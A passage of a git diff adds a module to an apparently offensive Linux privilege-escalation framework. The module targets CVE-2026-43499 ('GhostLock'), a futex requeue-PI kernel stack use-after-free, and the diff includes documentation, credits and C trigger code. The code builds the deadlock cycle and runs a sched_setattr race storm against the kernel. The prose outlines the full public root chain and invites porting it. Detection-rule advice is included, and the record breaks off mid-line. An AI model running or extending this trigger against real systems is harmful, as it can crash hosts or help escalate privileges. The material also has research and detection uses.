0โœ“ VM-verified
0โ˜… in CISA KEV
0detection rules
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)
โ˜…

CISA KEV prioritized

- 13 of 38 CVEs in the corpus are in CISA's Known Exploited + 13 of 40 CVEs in the corpus are in CISA's Known Exploited Vulnerabilities catalog โ€” actively exploited in the wild. Refreshed on demand via tools/refresh-cve-metadata.py.

@@ -289,12 +289,12 @@ uid=0(root) gid=0(root)
โœ“
-

22 modules empirically verified

+

28 modules empirically verified

tools/verify-vm/ spins up known-vulnerable kernels (stock distro + mainline from kernel.ubuntu.com), runs --explain --active per module, and records the - verdict. 28 of 38 CVEs confirmed against + verdict. 28 of 40 CVEs confirmed against real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12 + mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary; --list shows โœ“ per module. @@ -309,7 +309,7 @@ uid=0(root) gid=0(root)

-

38 CVEs across 10 years. โ˜… = actively exploited (CISA KEV).

+

40 CVEs across 10 years. โ˜… = actively exploited (CISA KEV).

@@ -358,6 +358,8 @@ uid=0(root) gid=0(root) ptrace_pidfd cifswitch nft_catchall + bad_epoll + ghostlock

@@ -418,7 +420,7 @@ uid=0(root) gid=0(root)

๐ŸŽ“

Researchers / CTF

- 38 CVEs, 10-year span, each with the original PoC author + 40 CVEs, 10-year span, each with the original PoC author credited and the kernel-range citation auditable. --explain shows the reasoning chain; detection rules let you practice both sides. Source is the documentation. @@ -515,7 +517,7 @@ uid=0(root) gid=0(root)

shipped
    -
  • 28 of 38 CVEs empirically verified in real Linux VMs
  • +
  • 28 of 40 CVEs empirically verified in real Linux VMs
  • kernel.ubuntu.com/mainline/ kernel fetch path โ€” unblocks pin-not-in-apt targets
  • Per-module verified_on[] table baked into the binary
  • --explain mode โ€” one-page operator briefing per CVE
  • diff --git a/modules/ghostlock_cve_2026_43499/MODULE.md b/modules/ghostlock_cve_2026_43499/MODULE.md new file mode 100644 index 0000000..eee88f8 --- /dev/null +++ b/modules/ghostlock_cve_2026_43499/MODULE.md @@ -0,0 +1,123 @@ +# ghostlock โ€” CVE-2026-43499 + +"GhostLock" โ€” a race-condition use-after-free on **kernel stack** memory in +the Linux rtmutex / futex requeue-PI code path (`kernel/locking/rtmutex.c`), +reachable by **any unprivileged local user** (CVSS PR:L). No user namespace, +no capability, no special `CONFIG` beyond `CONFIG_FUTEX_PI` (universally +enabled). It has existed since PI-futex requeue landed โ€” **~15 years, across +every distribution** โ€” which is what makes it remarkable. + +## The bug + +On the deadlock-rollback path, `remove_waiter()` operates on `current` +instead of the actual waiter task while unwinding a proxy lock in +`rt_mutex_start_proxy_lock()` โ€” reached from `futex_requeue()`. If a +concurrent PI-chain priority walk (driven from another CPU via +`sched_setattr()`) runs at that instant, `pi_blocked_on` is cleared on the +**wrong** task and an on-stack `struct rt_mutex_waiter` is left dangling in a +task's waiter / pi tree. When the kernel later rotates that rbtree over the +(now-reused) stack frame, the forged node fields become a controlled kernel +write โ†’ use-after-free. + +The public research + PoC ("IonStack part II: GhostLock", VEGA / Nebula +Security) builds the requeue-PI cycle so `FUTEX_CMP_REQUEUE_PI` hits +`-EDEADLK` (the rollback) while a sibling-core consumer thread hammers +`sched_setattr(SCHED_BATCH)` on the waiter's tid to win the race. A separate +full Android/Pixel LPE then forges the on-stack `rt_mutex_waiter` on a leaked +kernel page (the "KernelSnitch" futex-bucket timing side channel), overwrites +a `struct file` `f_op` โ†’ configfs/ashmem arbitrary R/W โ†’ pipe physical R/W โ†’ +cred patch โ†’ root. ~**97% stable** on kernelCTF; Google awarded **$92,337**. + +## Affected range + +| | | +|---|---| +| Introduced | PI-futex requeue โ€” **2.6.39** (commit `8161239a8bcc`) | +| Fixed upstream | commit `3bfdc63936dd` ("rtmutex: Use waiter::task instead of current in remove_waiter()") โ€” merged **7.1-rc1** | +| Stable backports | **7.0.4** ยท 6.18.27 ยท **6.12.86** (LTS) ยท **6.6.140** (LTS) ยท **6.1.175** (LTS) | +| Affected, no upstream fix | **5.15.x / 5.10.x / 5.4.x / 4.19.x** (kernel CNA lists no stable fix) | +| Not affected | < 2.6.39 (predates PI-futex requeue) | +| NVD class | CWE-416 (Use After Free) via CWE-362 (race); CVSS 7.8, PR:L | +| CISA KEV | no (brand new) | + +The `kernel_range` table carries one entry per backported branch; +`kernel_range_is_patched()` marks any branch strictly newer than all of them +(7.1+) patched-via-mainline and everything below the on-branch threshold +vulnerable โ€” including the 5.x LTS lines that have no published fix. Extend +the table as more branches backport (the drift checker flags them). Source: +the Linux kernel CNA record (`git.kernel.org/stable/c/`), corroborated +by the Debian / Ubuntu / SUSE trackers. + +## Trigger / detection + +`detect()` is a **pure version gate** โ€” no active probe, because there is no +cheap, safe way to distinguish vulnerable from patched without winning the +race. It returns `OK` below 2.6.39 or on a patched kernel, and `VULNERABLE` +in range. `CONFIG_FUTEX_PI` is a (near-universal) precondition detect() +**assumes** rather than probes; there is no userns / capability precondition +(any local user โ€” CVSS PR:L). + +`exploit()` forks an isolated child and runs two phases: + +- **(A) deterministic + safe** โ€” builds the requeue-PI cycle (a waiter + holding a "chain" PI-futex and parked in `FUTEX_WAIT_REQUEUE_PI`; an owner + holding the "target" PI-futex and blocked on the chain) and fires + `FUTEX_CMP_REQUEUE_PI`, confirming the kernel returns **-EDEADLK**. That + proves the `remove_waiter()` rollback path โ€” where the bug lives โ€” is + reachable here. Without a concurrent priority walk the rollback is the + kernel's normal, correct deadlock rejection: it creates no dangling + pointer, so this phase is safe on any kernel. *(Validated on real hardware: + the cycle returns `-EDEADLK` deterministically.)* +- **(B) hard-bounded window exercise** โ€” repeats (A) a small, wall-clock- + capped number of times (24 iterations / 2 s) with a sibling-CPU + `sched_setattr(SCHED_BATCH)` storm on the waiter's tid, overlapping the + priority walk with the rollback (the actual race). Then it stops. + +It is **deliberately under-driven**. A *won* race corrupts the kernel +**stack** and drives a near-arbitrary pointer write โ€” near-certain panic on a +vulnerable host. So this module does **not** widen the `copy_from_user` +window (no memfd / `PUNCH_HOLE`), does **not** spray or reoccupy the freed +stack frame, and does **not** bundle the KernelSnitch leak โ†’ forged-waiter โ†’ +fops/configfs/ashmem/pipe R/W โ†’ cred-patch chain (Android/Pixel-specific, +per-build offsets). The trigger is **reconstructed from the public PoC and is +not VM-verified**. It returns `EXPLOIT_FAIL` and never claims root it did not +get. + +Because a kernel race that corrupts the stack is the least predictable class +in the corpus, `ghostlock` carries the **lowest `--auto` safety rank** (11 โ€” +just below `bad_epoll`), so `--auto` only reaches for it after every safer +vulnerable module. + +## Detection โ€” better than most kernel races, but read this + +Unlike `bad_epoll` (whose epoll syscalls are indistinguishable from every +event loop), GhostLock has a **genuinely distinctive tell**: a futex +requeue-PI op (`FUTEX_WAIT_REQUEUE_PI` / `FUTEX_CMP_REQUEUE_PI`) returning +`-EDEADLK`, which glibc's requeue-PI usage inside `pthread_cond_wait` never +provokes, interleaved with `sched_setattr(SCHED_BATCH)` on a **sibling +thread** and `sched_setaffinity` CPU pinning. The catch: auditd/sigma see the +`futex` syscall but not its op-vs-return cheaply, and a bare `-S futex` watch +would flood any host. So: + +- **auditd / sigma** anchor on the far rarer `sched_setattr` / + `sched_setaffinity` drivers plus the post-exploitation euid-0 transition. +- **falco / eBPF** carries the high-fidelity rule (futex requeue-PI returns + `EDEADLK` + sibling `sched_setattr`) โ€” it can see the op and the return + value. + +There is no yara rule (in-kernel race, no file artifact). Tune the +`sched_setattr` anchor per environment โ€” real-time and scheduler-tuning +daemons will false-positive. + +## Fix / mitigation + +Upgrade the kernel (>= 7.0.4 / 6.12.86 / 6.6.140 / 6.1.175 on-branch, or +7.1+). There is **no partial mitigation**: PI futexes cannot be disabled at +runtime, and no `unprivileged_userns_clone` / sysctl toggle closes this path. +`mitigate()` is `NULL` for that reason. + +## Credit + +Discovery, research, and the public PoC: **VEGA / Nebula Security** +(`@nebusecurity`, nebusec.ai). Upstream fix `3bfdc63936dd` (Keenan Dong / +Thomas Gleixner). See `NOTICE.md`. diff --git a/modules/ghostlock_cve_2026_43499/NOTICE.md b/modules/ghostlock_cve_2026_43499/NOTICE.md new file mode 100644 index 0000000..3acb087 --- /dev/null +++ b/modules/ghostlock_cve_2026_43499/NOTICE.md @@ -0,0 +1,76 @@ +# NOTICE โ€” ghostlock (CVE-2026-43499) + +## Vulnerability + +**CVE-2026-43499** โ€” "GhostLock", a **race-condition use-after-free** on +kernel **stack** memory in the Linux rtmutex / futex requeue-PI path +(`kernel/locking/rtmutex.c`). On the deadlock-rollback path, +`remove_waiter()` operates on `current` instead of the actual waiter task +while unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from +`futex_requeue()`); a concurrent PI-chain priority walk driven via +`sched_setattr()` on another CPU clears `pi_blocked_on` on the wrong task and +leaves an on-stack `struct rt_mutex_waiter` dangling โ†’ UAF when the kernel +later rotates the rbtree over the reused stack frame. + +The bug is reachable by **any unprivileged local user** (CVSS 7.8, PR:L) โ€” +`futex(2)` + `sched_setattr(2)`, no capability, no user namespace, no special +config beyond `CONFIG_FUTEX_PI` (universally enabled). It has existed since +PI-futex requeue landed in **2.6.39** โ€” ~15 years across every distribution. +NVD class: **CWE-416** (Use After Free), with a **CWE-362** race root cause. +**Not** in CISA KEV (brand new). + +## Research credit + +- **Discovery, research, and public PoC** by **VEGA / Nebula Security** + (`@nebusecurity`, ), published as "IonStack part II: + GhostLock" (). Exploit code: + (`IonStack/CVE-2026-43499`, + Apache-2.0). Awarded **$92,337** in Google's kernelCTF for a ~97%-stable + privilege escalation / container escape. SKELETONKEY's trigger + reconstruction is informed by the public PoC's requeue-PI cycle shape only + โ€” no KernelSnitch offsets, forged-waiter field layout, or ROP / cred-patch + arithmetic is reused. +- **Introduced** with PI-futex requeue in **2.6.39** (commit + `8161239a8bcc`). +- **Fixed upstream** by commit + `3bfdc63936dd4773109b7b8c280c0f3b5ae7d349` ("rtmutex: Use waiter::task + instead of current in remove_waiter()", Keenan Dong / Thomas Gleixner), + merged for **7.1-rc1**; stable backports **7.0.4 / 6.18.27 / 6.12.86 / + 6.6.140 / 6.1.175**. +- Authoritative backport versions: the Linux kernel CNA record + (, + `git.kernel.org/stable/c/`), corroborated by the Debian + (), Ubuntu, and + SUSE trackers. The **5.15 / 5.10 / 5.4 / 4.19** LTS branches are affected + with no upstream stable fix published at time of writing. + +All credit for finding, analysing, and exploiting this bug belongs to VEGA / +Nebula Security and to the upstream maintainers who fixed it. SKELETONKEY is +the bundling and bookkeeping layer only. + +## SKELETONKEY role + +๐ŸŸก **Trigger (reconstructed) โ€” reachability-only, not VM-verified.** This is +the corpus's first rtmutex / futex-PI module and its cleanest example of a +kernel-**stack** UAF (every other UAF in the corpus is heap/slab). Shipped on +the same "fire the bug class and stop" contract as `stackrot` +(CVE-2023-3269), `nft_catchall` (CVE-2026-23111), and `bad_epoll` +(CVE-2026-46242). + +`detect()` is a pure kernel-version gate (vulnerable iff `>= 2.6.39` and below +the on-branch fix; backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, +7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) โ€” no +userns or CONFIG probe (`CONFIG_FUTEX_PI` assumed, near-universal). +`exploit()` forks an isolated child that confirms the `-EDEADLK` +`remove_waiter()` rollback path is reachable (deterministic, safe) and then +exercises the actual race a hard-bounded 24 iterations / 2 s with a +sibling-CPU `sched_setattr(SCHED_BATCH)` storm, and stops. + +It is **deliberately under-driven**: a won race corrupts the kernel stack and +drives a near-arbitrary pointer write (near-certain panic), so the module does +not widen the `copy_from_user` window, does not spray/reoccupy the freed +frame, and does not bundle the KernelSnitch leak โ†’ forged on-stack +`rt_mutex_waiter` โ†’ fops/configfs/ashmem/pipe R/W โ†’ cred-patch root-pop +(Android/Pixel-specific, per-build offsets). The trigger is reconstructed from +the public PoC, not VM-verified โ€” it never claims root it did not get. It +carries the lowest `--auto` safety rank in the corpus. diff --git a/modules/ghostlock_cve_2026_43499/skeletonkey_modules.c b/modules/ghostlock_cve_2026_43499/skeletonkey_modules.c new file mode 100644 index 0000000..5d63c4d --- /dev/null +++ b/modules/ghostlock_cve_2026_43499/skeletonkey_modules.c @@ -0,0 +1,567 @@ +/* + * ghostlock_cve_2026_43499 โ€” SKELETONKEY module + * + * CVE-2026-43499 โ€” "GhostLock", a race-condition use-after-free on kernel + * STACK memory in the Linux rtmutex / futex requeue-PI code path + * (kernel/locking/rtmutex.c). On the deadlock-rollback path, + * remove_waiter() operates on `current` instead of the actual waiter task + * while unwinding a proxy lock in rt_mutex_start_proxy_lock() โ€” reached + * from futex_requeue(). If a concurrent PI-chain priority walk (driven + * from another CPU via sched_setattr()) runs at that instant, + * `pi_blocked_on` is cleared on the WRONG task and an on-stack + * `struct rt_mutex_waiter` is left dangling in a task's waiter / pi tree. + * When the kernel later rotates that rbtree over the (now-reused) stack + * frame, the forged node fields become a controlled kernel write โ†’ UAF. + * Reachable by ANY unprivileged local user (CVSS PR:L): plain futex(2) + + * sched_setattr(2), no user namespace, no capability, no special CONFIG + * beyond CONFIG_FUTEX_PI (universally enabled). The bug has existed since + * PI-futex requeue landed โ€” ~15 years, across every distribution. + * + * Public research + PoC โ€” "IonStack part II: GhostLock" by VEGA / Nebula + * Security (https://nebusec.ai/research/ionstack-part-2/; code at + * https://github.com/NebuSec/CyberMeowfia, Apache-2.0). A portable crash + * PoC drives the -EDEADLK rollback while a sibling-core consumer thread + * fires sched_setattr(SCHED_BATCH) to win the race; a separate full + * Android/Pixel LPE then forges the on-stack rt_mutex_waiter on a leaked + * kernel page (the "KernelSnitch" futex-bucket timing side channel), + * overwrites a struct file f_op โ†’ configfs/ashmem arbitrary R/W โ†’ pipe + * physical R/W โ†’ cred patch โ†’ root. ~97% stable on kernelCTF; Google + * awarded $92,337. + * + * CWE-416 (Use After Free) via CWE-362 (race). CVSS 7.8 (PR:L). Introduced + * ~2.6.39 (PI-futex requeue); fixed by commit 3bfdc63936dd ("rtmutex: Use + * waiter::task instead of current in remove_waiter()") merged for 7.1-rc1; + * stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175. The + * 5.15 / 5.10 / 5.4 / 4.19 LTS branches are AFFECTED with no upstream + * stable fix published at time of writing. NOT in CISA KEV (brand new). + * + * STATUS: ๐ŸŸก TRIGGER (reconstructed) โ€” reachability-only, NOT VM-verified. + * exploit() forks an isolated child that, in two phases: + * (A) DETERMINISTIC + SAFE โ€” builds the requeue-PI cycle (a waiter + * holding a "chain" PI-futex and parked in FUTEX_WAIT_REQUEUE_PI; + * an owner holding the "target" PI-futex and blocked on the chain) + * and fires FUTEX_CMP_REQUEUE_PI, confirming the kernel returns + * -EDEADLK. That -EDEADLK proves the remove_waiter() deadlock- + * rollback path (where the bug lives) is REACHABLE on this host. + * With no concurrent priority walk, the rollback is the kernel's + * normal, correct deadlock rejection โ€” it creates no dangling + * pointer, so this phase is safe on any kernel. + * (B) HARD-BOUNDED window exercise โ€” repeats (A) a small, wall-clock- + * capped number of times with a sibling-core consumer thread + * hammering sched_setattr(SCHED_BATCH) on the waiter's tid, so the + * PI-chain priority walk overlaps the rollback (the actual race). + * Then it STOPS. It deliberately OMITS the memfd/PUNCH_HOLE + * copy_from_user widening and the kernel-stack spray that make a + * win likely, does NOT reoccupy the freed frame, and does NOT + * bundle the KernelSnitch leak โ†’ forged-waiter โ†’ fops/configfs/ + * ashmem/pipe R/W โ†’ cred-patch chain (Android/Pixel-specific, + * per-build offsets). It returns EXPLOIT_FAIL and never claims + * root it did not get. + * A *won* race here corrupts the kernel STACK and drives a near-arbitrary + * pointer write โ€” near-certain panic on a vulnerable host โ€” which is why + * this carries the lowest --auto safety rank in the corpus (see + * module_safety_rank() in skeletonkey.c). + * + * detect() is a pure version gate: vulnerable iff the running kernel is + * >= 2.6.39 (when PI-futex requeue arrived) AND below the fix on its + * branch. CONFIG_FUTEX_PI is a (near-universal) precondition that + * detect() ASSUMES rather than probes โ€” no distro tracker publishes a + * CONFIG gate and /proc/config.gz is often absent; there is likewise no + * userns / capability precondition (CVSS PR:L, any local user). + * + * arch_support: any โ€” the bug and this reachability probe are arch-neutral + * (futex / sched_setattr / pthreads); only the public *weaponization* is + * arm64/Android-specific, and none of it is bundled here. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" + +#include +#include +#include +#include +#include + +#ifdef __linux__ + +#include "../../core/kernel_range.h" +#include "../../core/host.h" + +#include +#include +#include +#include +#include +#include +#include +#include + +/* futex operation constants โ€” define defensively; is not + * always present and can clash with libc headers. */ +#ifndef FUTEX_LOCK_PI +#define FUTEX_LOCK_PI 6 +#endif +#ifndef FUTEX_UNLOCK_PI +#define FUTEX_UNLOCK_PI 7 +#endif +#ifndef FUTEX_WAIT_REQUEUE_PI +#define FUTEX_WAIT_REQUEUE_PI 11 +#endif +#ifndef FUTEX_CMP_REQUEUE_PI +#define FUTEX_CMP_REQUEUE_PI 12 +#endif +#ifndef FUTEX_CLOCK_REALTIME +#define FUTEX_CLOCK_REALTIME 256 +#endif +#ifndef SCHED_BATCH +#define SCHED_BATCH 3 +#endif + +/* ------------------------------------------------------------------ + * Kernel-range table. Mainline fix landed in 7.1-rc1 (3bfdc63936dd); + * stable backports shipped per LTS branch below. A branch with an exact + * entry is patched iff host.patch >= entry.patch; any branch strictly + * newer than EVERY entry (i.e. 7.1+) is patched-via-mainline; every other + * branch (5.4/5.10/5.15 โ€” affected, no upstream fix โ€” and the EOL lines + * 6.2..6.5 / 6.7..6.11 / 6.13..6.17 / 6.19 / 7.0.<4) is still vulnerable. + * kernel_range_is_patched() implements exactly that. Extend the table as + * more branches publish backports (the drift checker flags them). + * Authoritative source: the Linux kernel CNA record (git.kernel.org + * /stable/c/), corroborated by Debian/Ubuntu/SUSE trackers. + * ------------------------------------------------------------------ */ +static const struct kernel_patched_from ghostlock_patched_branches[] = { + {6, 1, 175}, /* 6.1 LTS โ€” d8cce4773c2b */ + {6, 6, 140}, /* 6.6 LTS โ€” 8a1fc8d698ac */ + {6, 12, 86}, /* 6.12 LTS โ€” 6d52dfcb2a5d */ + {6, 18, 27}, /* 6.18 โ€” 3fb7394a8377 */ + {7, 0, 4}, /* 7.0 โ€” 88614876370a; 7.1+ inherits the mainline fix */ +}; + +static const struct kernel_range ghostlock_range = { + .patched_from = ghostlock_patched_branches, + .n_patched_from = sizeof(ghostlock_patched_branches) / + sizeof(ghostlock_patched_branches[0]), +}; + +static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx) +{ + const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL; + if (!v || v->major == 0) { + if (!ctx->json) + fprintf(stderr, "[!] ghostlock: host fingerprint missing kernel " + "version โ€” bailing\n"); + return SKELETONKEY_TEST_ERROR; + } + + /* PI-futex requeue (and thus the vulnerable rt_mutex_start_proxy_lock + * / remove_waiter rollback) arrived in 2.6.39; older kernels predate + * the code entirely. (In practice nothing modern is below this, but + * the gate is here for correctness.) */ + if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 39)) { + if (!ctx->json) + fprintf(stderr, "[i] ghostlock: kernel %s predates PI-futex requeue " + "(introduced 2.6.39) โ€” not affected\n", v->release); + return SKELETONKEY_OK; + } + + if (kernel_range_is_patched(&ghostlock_range, v)) { + if (!ctx->json) + fprintf(stderr, "[+] ghostlock: kernel %s is patched (>= 7.0.4 / " + "6.12.86 / 6.6.140 / 6.1.175 on-branch, or 7.1+ " + "mainline)\n", v->release); + return SKELETONKEY_OK; + } + + if (!ctx->json) { + fprintf(stderr, "[!] ghostlock: VULNERABLE โ€” kernel %s below the fix on " + "its branch; rtmutex/futex requeue-PI remove_waiter() " + "stack UAF reachable by any unprivileged user (no userns " + "/ capability; assumes CONFIG_FUTEX_PI, near-universal)\n", + v->release); + fprintf(stderr, "[i] ghostlock: no unprivileged-userns or sysctl stopgap " + "applies (PI futexes cannot be disabled at runtime) โ€” the " + "only fix is to patch the kernel\n"); + } + return SKELETONKEY_VULNERABLE; +} + +/* ------------------------------------------------------------------ + * Reconstructed reachability trigger (deliberately under-driven). + * + * Faithful minimal shape of the public PoC's requeue-PI cycle: + * waiter : LOCK_PI(chain); WAIT_REQUEUE_PI(wait -> target) [parks] + * owner : LOCK_PI(target); LOCK_PI(chain) [blocks] + * main : CMP_REQUEUE_PI(wait -> target) => -EDEADLK + * The requeue would make the waiter block on `target` (held by owner), + * owner is blocked on `chain` (held by waiter) โ†’ cycle โ†’ rt_mutex + * deadlock detection returns -EDEADLK and runs remove_waiter() rollback. + * + * Phase A (no consumer) confirms that rollback path is REACHABLE โ€” safe, + * because without a concurrent PI priority walk the unwind is the normal + * correct deadlock rejection and leaves nothing dangling. Phase B adds a + * sibling-core sched_setattr(SCHED_BATCH) storm on the waiter's tid to + * overlap the walk with the rollback (the actual race), hard-bounded, + * then stops. We do NOT widen the copy_from_user window (no memfd / + * PUNCH_HOLE), do NOT spray/reoccupy the freed stack frame, and do NOT + * weaponise. The honest witness is coarse: the -EDEADLK reachability + * proof, plus a fault signal in the isolated child if a Phase-B race + * happened to fire. Absence of a fault does NOT prove the host is safe. + * ------------------------------------------------------------------ */ +#define GHL_PROBE_ROUNDS 8 /* deterministic -EDEADLK confirmations (early-exit on first) */ +#define GHL_RACE_ITERS 24 /* hard-bounded race-window exercise (concurrent sched_setattr) */ +#define GHL_RACE_BUDGET_SECS 2 /* honest short cap (public PoC grinds for minutes) */ +#define GHL_PARK_TIMEOUT_MS 60 /* parked waiter/owner self-unblock so no attempt hangs */ + +struct ghl_sched_attr { + uint32_t size; + uint32_t sched_policy; + uint64_t sched_flags; + int32_t sched_nice; + uint32_t sched_priority; + uint64_t sched_runtime; + uint64_t sched_deadline; + uint64_t sched_period; +}; + +struct ghl_attempt { + volatile uint32_t chain; /* PI futex the waiter holds */ + volatile uint32_t target; /* PI futex the owner holds; requeue destination */ + volatile uint32_t wait; /* plain futex the waiter parks on */ + atomic_int waiter_ready; /* waiter holds chain + published tid */ + atomic_int owner_ready; /* owner holds target + about to block on chain */ + atomic_int waiter_tid; /* consumer targets this tid */ + atomic_int stop; /* tear-down flag for the consumer */ +}; + +static long ghl_futex(volatile uint32_t *uaddr, int op, uint32_t val, + void *timeout_or_val2, volatile uint32_t *uaddr2, + uint32_t val3) +{ + return syscall(SYS_futex, uaddr, op, val, timeout_or_val2, uaddr2, val3); +} + +static int ghl_gettid(void) +{ + return (int)syscall(SYS_gettid); +} + +static void ghl_pin_cpu(int cpu) +{ + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + (void)sched_setaffinity(0, sizeof set, &set); /* best-effort */ +} + +static void ghl_abs_realtime_ms(struct timespec *ts, long ms) +{ + clock_gettime(CLOCK_REALTIME, ts); + ts->tv_sec += ms / 1000; + ts->tv_nsec += (ms % 1000) * 1000000L; + if (ts->tv_nsec >= 1000000000L) { ts->tv_sec++; ts->tv_nsec -= 1000000000L; } +} + +static void *ghl_waiter_fn(void *arg) +{ + struct ghl_attempt *a = (struct ghl_attempt *)arg; + ghl_pin_cpu(0); + /* Acquire the chain PI-futex (uncontended โ†’ success, sets it to our tid). */ + (void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0); + atomic_store_explicit(&a->waiter_tid, ghl_gettid(), memory_order_release); + atomic_store_explicit(&a->waiter_ready, 1, memory_order_release); + /* Park, pre-queued to be requeued onto `target`. Short absolute timeout + * so we self-unblock even if the requeue is refused (-EDEADLK). */ + struct timespec ts; + ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS); + (void)ghl_futex(&a->wait, FUTEX_WAIT_REQUEUE_PI | FUTEX_CLOCK_REALTIME, 0, + &ts, &a->target, 0); + (void)ghl_futex(&a->chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0); + return NULL; +} + +static void *ghl_owner_fn(void *arg) +{ + struct ghl_attempt *a = (struct ghl_attempt *)arg; + ghl_pin_cpu(0); + while (!atomic_load_explicit(&a->waiter_ready, memory_order_acquire)) + sched_yield(); + (void)ghl_futex(&a->target, FUTEX_LOCK_PI, 0, NULL, NULL, 0); /* hold target */ + atomic_store_explicit(&a->owner_ready, 1, memory_order_release); + struct timespec ts; + ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS); + (void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, &ts, NULL, 0); /* block on chain */ + (void)ghl_futex(&a->target, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0); + return NULL; +} + +static void *ghl_consumer_fn(void *arg) +{ + struct ghl_attempt *a = (struct ghl_attempt *)arg; + ghl_pin_cpu(1); /* sibling CPU */ + while (!atomic_load_explicit(&a->waiter_tid, memory_order_acquire)) + sched_yield(); + int tid = atomic_load_explicit(&a->waiter_tid, memory_order_acquire); + struct ghl_sched_attr sa; + memset(&sa, 0, sizeof sa); + sa.size = sizeof sa; + sa.sched_policy = SCHED_BATCH; + sa.sched_nice = 19; + /* Hammer a PI-chain priority walk on the waiter concurrently with the + * rollback. SYS_sched_setattr may be absent on ancient toolchains. */ + while (!atomic_load_explicit(&a->stop, memory_order_acquire)) { +#ifdef SYS_sched_setattr + (void)syscall(SYS_sched_setattr, tid, &sa, 0u); +#else + sched_yield(); +#endif + } + return NULL; +} + +/* One attempt: build the requeue-PI cycle and fire CMP_REQUEUE_PI. With + * with_race, run the concurrent sched_setattr storm. Returns 1 iff the + * kernel returned -EDEADLK (the rollback path was reached). */ +static int ghl_one_attempt(int with_race) +{ + struct ghl_attempt a; + memset(&a, 0, sizeof a); + + pthread_t tw, to, tc; + int have_tc = 0; + + if (pthread_create(&tw, NULL, ghl_waiter_fn, &a) != 0) + return 0; + while (!atomic_load_explicit(&a.waiter_ready, memory_order_acquire)) + sched_yield(); + + if (pthread_create(&to, NULL, ghl_owner_fn, &a) != 0) { + atomic_store_explicit(&a.stop, 1, memory_order_release); + pthread_join(tw, NULL); + return 0; + } + while (!atomic_load_explicit(&a.owner_ready, memory_order_acquire)) + sched_yield(); + + if (with_race && pthread_create(&tc, NULL, ghl_consumer_fn, &a) == 0) + have_tc = 1; + + /* Settle: let the waiter park in WAIT_REQUEUE_PI and the owner in + * LOCK_PI(chain) before we close the cycle. */ + usleep(3000); + + errno = 0; + long r = ghl_futex(&a.wait, FUTEX_CMP_REQUEUE_PI, 1, + (void *)(uintptr_t)1, &a.target, 0); + int got_edeadlk = (r == -1 && errno == EDEADLK); + + atomic_store_explicit(&a.stop, 1, memory_order_release); + if (have_tc) pthread_join(tc, NULL); + pthread_join(to, NULL); /* parked threads self-unblock via their timeouts */ + pthread_join(tw, NULL); + return got_edeadlk; +} + +static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx) +{ + skeletonkey_result_t pre = ghostlock_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { + fprintf(stderr, "[-] ghostlock: detect() says not vulnerable; refusing\n"); + return pre; + } + bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0); + if (is_root) { + fprintf(stderr, "[i] ghostlock: already running as root\n"); + return SKELETONKEY_OK; + } + + if (!ctx->json) + fprintf(stderr, "[*] ghostlock: reconstructed reachability probe โ€” builds " + "the requeue-PI cycle and confirms the -EDEADLK " + "remove_waiter() rollback path is reachable, then exercises " + "the race window %d bounded times (%ds cap) with a " + "sibling-CPU sched_setattr storm, and stops. The " + "KernelSnitch leak โ†’ forged-waiter โ†’ fops/ashmem/pipe R/W " + "โ†’ cred-patch root-pop is NOT bundled.\n", + GHL_RACE_ITERS, GHL_RACE_BUDGET_SECS); + + /* Fork-isolated: a *won* Phase-B race corrupts the kernel stack. On a + * KASAN kernel that oopses (contained to the child); on a plain + * vulnerable kernel it may panic โ€” which is exactly why the attempt + * count is hard-bounded and the window is never widened. */ + pid_t child = fork(); + if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; } + + if (child == 0) { + /* Phase A โ€” deterministic, safe reachability confirmation. */ + int edeadlk = 0; + for (int i = 0; i < GHL_PROBE_ROUNDS && !edeadlk; i++) + edeadlk = ghl_one_attempt(0 /* no race */); + + /* Phase B โ€” hard-bounded window exercise (concurrent priority walk). */ + int fired = 0; + time_t deadline = time(NULL) + GHL_RACE_BUDGET_SECS; + for (int i = 0; i < GHL_RACE_ITERS && time(NULL) < deadline; i++) { + (void)ghl_one_attempt(1 /* with race */); + fired = i + 1; + } + + if (!ctx->json) + fprintf(stderr, "[i] ghostlock: requeue-PI rollback reachable: %s; " + "%d bounded race-window iterations fired\n", + edeadlk ? "YES (-EDEADLK observed)" : "not observed", fired); + _exit(edeadlk ? 100 : 101); + } + + int status; + waitpid(child, &status, 0); + if (WIFSIGNALED(status)) { + if (!ctx->json) + fprintf(stderr, "[!] ghostlock: child died by signal %d โ€” the " + "requeue-PI stack UAF may have fired (KASAN oops / " + "corruption fault). This is the bug, but no root was " + "obtained.\n", + WTERMSIG(status)); + return SKELETONKEY_EXPLOIT_FAIL; + } + if (WIFEXITED(status) && + (WEXITSTATUS(status) == 100 || WEXITSTATUS(status) == 101)) { + if (!ctx->json) { + if (WEXITSTATUS(status) == 100) + fprintf(stderr, "[!] ghostlock: the vulnerable requeue-PI " + "deadlock-rollback path IS reachable here " + "(-EDEADLK) and the race window was exercised โ€” " + "reconstructed primitive, honest EXPLOIT_FAIL.\n"); + else + fprintf(stderr, "[!] ghostlock: race window exercised but the " + "-EDEADLK rollback path was not observed (timing, " + "or a hardened/patched-at-runtime kernel) โ€” honest " + "EXPLOIT_FAIL.\n"); + fprintf(stderr, "[i] ghostlock: to complete: port the public " + "KernelSnitch page leak + forged 